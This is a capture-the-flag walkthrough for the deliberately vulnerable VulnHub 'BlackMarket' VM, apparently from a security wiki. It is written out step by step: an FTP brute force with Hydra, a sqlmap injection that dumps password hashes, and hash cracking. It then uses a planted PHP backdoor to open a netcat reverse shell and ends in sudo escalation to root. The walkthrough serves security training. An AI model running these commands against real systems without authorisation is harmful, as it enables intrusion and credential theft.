VulnHub-BlackMarket

From aldeid
Jump to navigation Jump to search

BlackMarket

Source: https://www.vulnhub.com/entry/blackmarket-1,223/

BlackMarket VM presented at Brisbane SecTalks BNE0x1B (28th Session) which is focused on students and other InfoSec Professional. This VM has total 6 flag and one r00t flag. Each Flag leads to another Flag and flag format is flag{blahblah}.

Flags

Flag 1

Let’s start with a Nmap scan:

PORT    STATE SERVICE    VERSION
21/tcp  open  ftp        vsftpd 3.0.2
22/tcp  open  ssh        OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 a9:98:84:aa:90:7e:f1:e6:be:c0:84:3e:fa:aa:83:8a (DSA)
|   2048 07:5c:77:15:30:5a:17:95:8e:0f:91:f0:2d:0b:c3:7a (RSA)
|   256 2f:9c:29:b5:f5:dc:f4:95:07:6d:41:ee:f9:0d:15:b8 (ECDSA)
|_  256 24:ac:30:c7:79:7f:43:cc:fc:23:df:ea:db:bb:4a:cc (ED25519)
80/tcp  open  http       Apache httpd 2.4.7 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: BlackMarket Weapon Management System
110/tcp open  pop3?
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2017-11-01T07:05:35
|_Not valid after:  2027-11-01T07:05:35
|_ssl-date: TLS randomness does not represent time
143/tcp open  imap       Dovecot imapd
|_imap-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2017-11-01T07:05:35
|_Not valid after:  2027-11-01T07:05:35
|_ssl-date: TLS randomness does not represent time
|_sslv2: ERROR: Script execution failed (use -d to debug)
993/tcp open  ssl/imap   Dovecot imapd
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2017-11-01T07:05:35
|_Not valid after:  2027-11-01T07:05:35
|_ssl-date: TLS randomness does not represent time
995/tcp open  ssl/pop3s?
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2017-11-01T07:05:35
|_Not valid after:  2027-11-01T07:05:35
|_ssl-date: TLS randomness does not represent time
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

And a dirsearch scan:

$ /data/src/dirsearch/dirsearch.py -u http://172.16.222.134 -E -w /data/src/wordlists/directory-list-2.3-medium.txt 

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, js, html, do, action | HTTP method: get | Threads: 10 | Wordlist size: 220529

Error Log: /data/src/dirsearch/logs/errors-20-06-08_22-30-27.log

Target: http://172.16.222.134

[22:30:27] Starting: 
[22:30:27] 200 -    2KB - /
[22:30:27] 301 -  314B  - /user  ->  http://172.16.222.134/user/
[22:30:28] 301 -  315B  - /admin  ->  http://172.16.222.134/admin/
[22:30:28] 301 -  316B  - /upload  ->  http://172.16.222.134/upload/
[22:30:28] 403 -  285B  - /.hta
[22:30:28] 301 -  313B  - /css  ->  http://172.16.222.134/css/
[22:30:29] 301 -  312B  - /db  ->  http://172.16.222.134/db/
[22:30:30] 301 -  316B  - /vendor  ->  http://172.16.222.134/vendor/
[22:30:30] 301 -  314B  - /dist  ->  http://172.16.222.134/dist/
[22:31:10] 301 -  322B  - /squirrelmail  ->  http://172.16.222.134/squirrelmail/
[22:31:35] 301 -  318B  - /supplier  ->  http://172.16.222.134/supplier/
[22:33:54] 403 -  294B  - /server-status

Task Completed

dirsearch found an interesting directory that we will keep for later: http://172.16.222.134/squirrelmail/src/login.php.

The home page of the web service shows an authentication form, and it’s source code reveals the 1st flag:

$ curl -s http://172.16.222.134/ | grep -o "flag1{.*}"
flag1{Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=}
$ echo "Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=" | base64 -d
CIA - Operation Treadstone

Flag1: flag{CIA - Operation Treadstone}

Flag 2

Flag1 is an indication that we have to look for something related to Operation Treadstone. Searching on Google leads to https://bourne.fandom.com/wiki/Operation_Treadstone.

Let’s use cewl to generate a wordlist from this site (go get a cup of coffee, this will run for a while…).

Notes: * By default, cewl uses a depth of 2, which may not be necessary here. You can run it with a depth of 0 to only parse the page without following links, which dramatically reduces the number of words. If the brute force attack fails, we can progressively increase the depth. * Notice that I’m also generating a lower case file that I’ll combine with the file produced by cewl.

$ cewl.rb -d 0 -w wordlist.txt https://bourne.fandom.com/wiki/Operation_Treadstone
$ cat wordlist.txt | tr '[:upper:]' '[:lower:]' > wordlist_lower.txt
$ cat wordlist.txt wordlist_lower.txt | sort -u > passwords.txt
$ rm -f wordlist*.txt

Let’s take an assumption here. As an FTP account is likely associated with a username, and this username is likely related to “Operation Treadstone”, let’s build a users list based on staff members (“Staff” section on the web page) and agents (“Known Assets” section on the web page):

$ cat users.txt
albert
alexander
bootlace
castel
daniel
jarda
jason
john
manheim
neil
nicky
professor
richard
secret01
ward

Now, take 2 more coffees to crack the FTP account:

$ hydra -L users.txt -P passwords.txt ftp://172.16.222.134

After a while, you should get the credentials.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-09 13:36:37
[DATA] max 16 tasks per 1 server, overall 16 tasks, 15060 login tries (l:15/p:1004), ~942 tries per task
[DATA] attacking ftp://172.16.222.134:21/
[STATUS] 272.00 tries/min, 272 tries in 00:01h, 14788 to do in 00:55h, 16 active
[STATUS] 285.33 tries/min, 856 tries in 00:03h, 14204 to do in 00:50h, 16 active
[STATUS] 285.71 tries/min, 2000 tries in 00:07h, 13060 to do in 00:46h, 16 active
[STATUS] 288.73 tries/min, 4331 tries in 00:15h, 10729 to do in 00:38h, 16 active
[STATUS] 288.94 tries/min, 8957 tries in 00:31h, 6103 to do in 00:22h, 16 active
[21][ftp] host: 172.16.222.134   login: nicky   password: CIA
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

The FTP service hosts a file named IMP.txt that we can download:

$ ftp 172.16.222.134
Connected to 172.16.222.134 (172.16.222.134).
220 (vsFTPd 3.0.2)
Name (172.16.222.134:unknown): nicky
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
227 Entering Passive Mode (172,16,222,134,153,158).
150 Here comes the directory listing.
dr-xr-xr-x    4 1002     1002         4096 Nov 06  2017 .
dr-xr-xr-x    4 1002     1002         4096 Nov 06  2017 ..
-rw-r--r--    1 1002     1002          220 Nov 06  2017 .bash_logout
-rw-r--r--    1 1002     1002         3637 Nov 06  2017 .bashrc
drwx------    2 1002     1002         4096 Nov 06  2017 .cache
-rw-r--r--    1 1002     1002          675 Nov 06  2017 .profile
dr-xr-xr-x    3 65534    65534        4096 Nov 06  2017 ftp
226 Directory send OK.
ftp> cd ftp
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (172,16,222,134,99,207).
150 Here comes the directory listing.
dr-xr-xr-x    3 65534    65534        4096 Nov 06  2017 .
dr-xr-xr-x    4 1002     1002         4096 Nov 06  2017 ..
drwxr-xr-x    2 1002     1002         4096 Nov 09  2017 ImpFiles
226 Directory send OK.
ftp> cd ImpFiles
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (172,16,222,134,146,215).
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 Nov 09  2017 .
dr-xr-xr-x    3 65534    65534        4096 Nov 06  2017 ..
-rw-r--r--    1 0        0             216 Nov 12  2017 IMP.txt
226 Directory send OK.
ftp> get IMP.txt
local: IMP.txt remote: IMP.txt
227 Entering Passive Mode (172,16,222,134,231,247).
150 Opening BINARY mode data connection for IMP.txt (216 bytes).
226 Transfer complete.
216 bytes received in 0.0267 secs (8.10 Kbytes/sec)

The file contains the flag:

$ cat IMP.txt 
flag2{Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy}

If anyone reading this message it means you are on the right track however I do not have any idea about the CIA blackmarket Vehical workshop. You must find out and hack it!
$ echo "Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy" | base64 -d
Congrats Proceed Further

Flag2: flag{Congrats Proceed Further}

Flag 3

The last message was referring to the “CIA blackmarket Vehical workshop”? What could it be? dirsearch didn’t report any hidden directory that could correspond to this. There is no robots.txt file either that could help.

After hours attempting searching with more dictionaries, fuzzing, … I was about to stop here and found by chance other writeups for this challenge. I was curious to know how others have solved this step and to be honest, I haven’t seen anything that really convinced me. You need to find a vworkshop hidden directory. Seriously? How can anybody find it?

Nevermind, this detail apart, let’s take it for granted.

Let’s connect to http://172.16.222.134/vworkshop/. There is an authentication form. Let’s create an account (http://172.16.222.134/vworkshop/registration.php) and login. Create a vehicle, and modify it. Make sure Burp Suite is filtering all of your requests and save all POST requests. Try them sequencially with sqlmap to find a form vulnerable to SQL injection.

After trying several pages, I found that the update vehicle page is vulnerable to SQL injection.

Let’s dump the database:

[email protected]:/data/documents/challenges/BlackMarket/files$ /data/src/sqlmap-dev/sqlmap.py -r update-vehicle.xml --dbms=mysql --dump-all

[REDACTED]

[19:06:14] [INFO] testing MySQL
[19:06:14] [INFO] confirming MySQL
[19:06:14] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[19:06:14] [INFO] sqlmap will dump entries of all tables from all databases now
[19:06:14] [INFO] fetching database names
[19:06:14] [INFO] resumed: 'information_schema'
[19:06:14] [INFO] resumed: 'BlackMarket'
[19:06:14] [INFO] resumed: 'eworkshop'
[19:06:14] [INFO] resumed: 'mysql'
[19:06:14] [INFO] resumed: 'performance_schema'

[REDACTED]

2 databases are interesting: BlackMarket and eworkshop.

The second database actually does not contain anything really interesting. But the first one.

$ /data/src/sqlmap-dev/sqlmap.py -r update-vehicle.xml --dbms=mysql -D BlackMarket --dump | tee sqlmap.txt 

[REDACTED]

Database: BlackMarket
Table: customer
[2 entries]
+--------+---------------+-----------------------+-----------------+
| userid | address       | contact               | customer_name   |
+--------+---------------+-----------------------+-----------------+
| 2      | Moscow Russia | [email protected]  | Dimitri Volkof  |
| 5      | Texas         | [email protected]       | Jason Bourne    |
+--------+---------------+-----------------------+-----------------+

[REDACTED]

Table: flag
[1 entry]
+--------+--------+--------------------------------+
| FlagId | name   | Information                    |
+--------+--------+--------------------------------+
| 3      | Flag   | Find Jason Bourne Email access |
+--------+--------+--------------------------------+

[REDACTED]

Database: BlackMarket
Table: user
[5 entries]
+--------+----------+----------+----------------------------------+
| userid | access   | username | password                         |
+--------+----------+----------+----------------------------------+
| 1      | 1        | admin    | cf18233438b9e88937ea0176f1311885 |
| 2      | 2        | user     | 0d8d5cd06832b29560745fe4e1b941cf |
| 4      | 3        | supplier | 99b0e8da24e29e4ccb5d7d76e677c2ac |
| 5      | 2        | jbourne  | 28267a2e06e312aee91324e2fe8ef1fd |
| 6      | 3        | bladen   | cbb8d2a0335c793532f9ad516987a41c |
+--"------+----------+----------+----------------------------------+

[REDACTED]

Looks like we have our 3rd flag:

Flag3: flag3{Find Jason Bourne Email access}

Flag 4

Let’s search for the hashes on the Internet (https://md5.gromweb.com, https://www.md5online.org/md5-decrypt.html) to find the passwords:

username hash password
admin cf18233438b9e88937ea0176f1311885 BigBossCIA
user 0d8d5cd06832b29560745fe4e1b941cf ee11cbb19052e40b07aac0ca060c23ee
supplier 99b0e8da24e29e4ccb5d7d76e677c2ac supplier
jbourne 28267a2e06e312aee91324e2fe8ef1fd ???
bladen cbb8d2a0335c793532f9ad516987a41c ???

In the previous sqlmap output, we found Jason Bourne’s email address: [email protected] but we haven’t been able to find his password.

That said, we have found the admin credentials and there must be something we could do with this. Apparently, these credentials are not working against the Vehicle Workshop, but we could try them on the main page’s authentication form. Houray, it works!

VulnHub-BlackMarket-admin-auth-main-auth.png

$ echo "bm90aGluZyBpcyBoZXJl" | base64 -d
nothing is here

Flag4: flag{nothing is here}

Flag 5

The message we got previously was referring to Jason Bourne’s email address that we have ([email protected]), followed by 5 question marks (?????):

Login Success, Welcome BigBOSS! here is your flag4{bm90aGluZyBpcyBoZXJl} Jason Bourne Email access ?????

What about if these question marks would be the password? Let’s try to connect against http://172.16.222.134/squirrelmail/src/login.php with:

  • Name: jbourne
  • Password: ?????.

Believe it or not, that works!

VulnHub-BlackMarket-squirrelmail.png

Now, go to the Drafts and you will get the flag:

VulnHub-BlackMarket-squirrelmail-drafts.png

$ echo "RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=" | base64 -d
Everything is encrypted

Flag5: flag{Everything is encrypted}

Flag 6

The message is encrypted with Vigenere. You can brute force the key with https://quipqiup.com/:

Hi Dimitri If you are reading this I might be not alive. I have place a backdoor in Blackmarket workshop under /kgbbackdoor folder you must have to use PassPass.jpg in order to get access.

After trying to find the directory on the BlackMarket portal without success, I tried against the Vehicle Workshop portal and got it:

$ wget http://172.16.222.134/vworkshop/kgbbackdoor/PassPass.jpg

There is a password in the strings output:

$ strings -n 7 PassPass.jpg | tail
KEc\clS
S(>M>">T$~
$|[email protected]  
mB%Y4Z&o
mu0d%hW
<t"CGby
eF2?.AN
tD) )UA
ZHH*#sa
Pass = 5215565757312090656

The pass can be decoded as follows:

$ python
>>> h = hex(5215565757312090656)[2:]
>>> ''.join([chr(int(l,16)) for l in [h[i:i+2] for i in range(0, len(h), 2)]])
'HailKGB '

As the email was referring to a backdoor, and it’s likely coded in php, I tried several things (shell.php, bd.php, backdoor.php) and found that http://172.16.222.134/vworkshop/kgbbackdoor/backdoor.php was producing a weird error message:

$ curl -s http://172.16.222.134/vworkshop/kgbbackdoor/backdoor.php
<h1>Not Found</h1> 
<p>The requested URL was not found on this server.</p> 
<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> 
<hr> 
<address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at Port 80</address> 
    <style> 
        input { margin:0;background-color:#fff;border:1px solid #fff; } 
    </style> 
    <pre align=center> 
    <form method=post> 
    <input type=password name=pass> 
    </form></pre>

This page is hidding a form. Click anywhere on the page, press TAB to go to the hidden field and enter the password found previously (HailKGB). This time, you’ll see a different screen:

VulnHub-BlackMarket-backdoor.png

Click on the file named flag.txt to get the flag:

flag6{Um9vdCB0aW1l} 

Once decoded (base64):

Flag6: flag{Root time}

Root flag

On your machine, open a handler:

$ rlwrap nc -nlvp 31337

Now, on the web server, using the backdoor, go to the “Network section” and click on the ‘>>’ button:

VulnHub-BlackMarket-backdoor-reverse-shell.png

You now have a shell. Let’s check the /home directory:

$ cd /home
$ ls -la
total 20
drwxr-xr-x  5 root    root    4096 Nov 16  2017 .
drwxr-xr-x 22 root    root    4096 Nov  1  2017 ..
drwxrwxr-x  2 dimitri dimitri 4096 Nov 16  2017 .Mylife
drwxr-xr-x  4 dimitri dimitri 4096 Nov 16  2017 dimitri
dr-xr-xr-x  4 nicky   nicky   4096 Nov  6  2017 nicky
$ cd .Mylife
$ ls -la
total 12
drwxrwxr-x 2 dimitri dimitri 4096 Nov 16  2017 .
drwxr-xr-x 5 root    root    4096 Nov 16  2017 ..
-rw-rw-r-- 1 dimitri dimitri  369 Nov 16  2017 .Secret
$ cat .Secret
I have been working on this CIA BlackMarket Project but it seems like I am not doing anything 
right for people. Selling drugs and guns is not my business so soon I will quit the job. 

About my personal life I am a sharp shooter have two kids but my wife don't like me and I am broke. Food wise I eat everything but DimitryHateApple

I will add more about later!

We are provided with a secret that is likely to be dimitri’s password. Let’s switch to dimitri:

$ 
$ su dimitri
su: must be run from a terminal
$ which python
/usr/bin/python
$ python -c 'import pty; pty.spawn("/bin/bash")'
[email protected]:/home/.Mylife$ su dimitri
su dimitri
Password: DimitriHateApple

Now, let’s check our privileges:

[email protected]:/home/.Mylife$ sudo -l
sudo -l
[sudo] password for dimitri: DimitriHateApple

Matching Defaults entries for dimitri on Dimitri:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User dimitri may run the following commands on Dimitri:
    (ALL : ALL) ALL

We have access to all without password.

[email protected]:/home/.Mylife$ sudo -s
sudo -s
[email protected]:/home/.Mylife# cd /root
cd /root
[email protected]:/root# ls -l
ls -l
total 24
drwx------  2 root root 4096 Nov 12  2017 ./
drwxr-xr-x 22 root root 4096 Nov  1  2017 ../
-rw-------  1 root root  286 Nov 16  2017 .bash_history
-rw-r--r--  1 root root 3106 Feb 20  2014 .bashrc
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
-rw-r--r--  1 root root  705 Nov  9  2017 THEEND.txt
[email protected]:/root# cat THEEND.txt
cat THEEND.txt
FINALLY YOU MADE IT! 

THANKS FOR PLAYING BOOT2ROOT CTF AND PLEASE DO MAIL ME ANY SUGGESTIONS @ [email protected] 

THANKS SECTALKS BRISBANE FOR HOSTING MY CTF 


 (                      )
      |\    _,--------._    / |
      | `.,'            `. /  |
      `  '              ,-'   '
       \/_         _   (     /
      (,-.`.    ,',-.`. `__,'
       |/#\ ),-','#\`= ,'.` |
       `._/)  -'.\_,'   ) ))|
       /  (_.)\     .   -'//
      (  /\____/\    ) )`'\
       \ |V----V||  ' ,    \
        |`- -- -'   ,'   \  \      _____
 ___    |         .'    \ \  `._,-'     `-
    `.__,`---^---'       \ ` -'
       -.______  \ . /  ______,-
               `.     ,'            


./AcEb0mb3R_l0g0ff [email protected]:/root#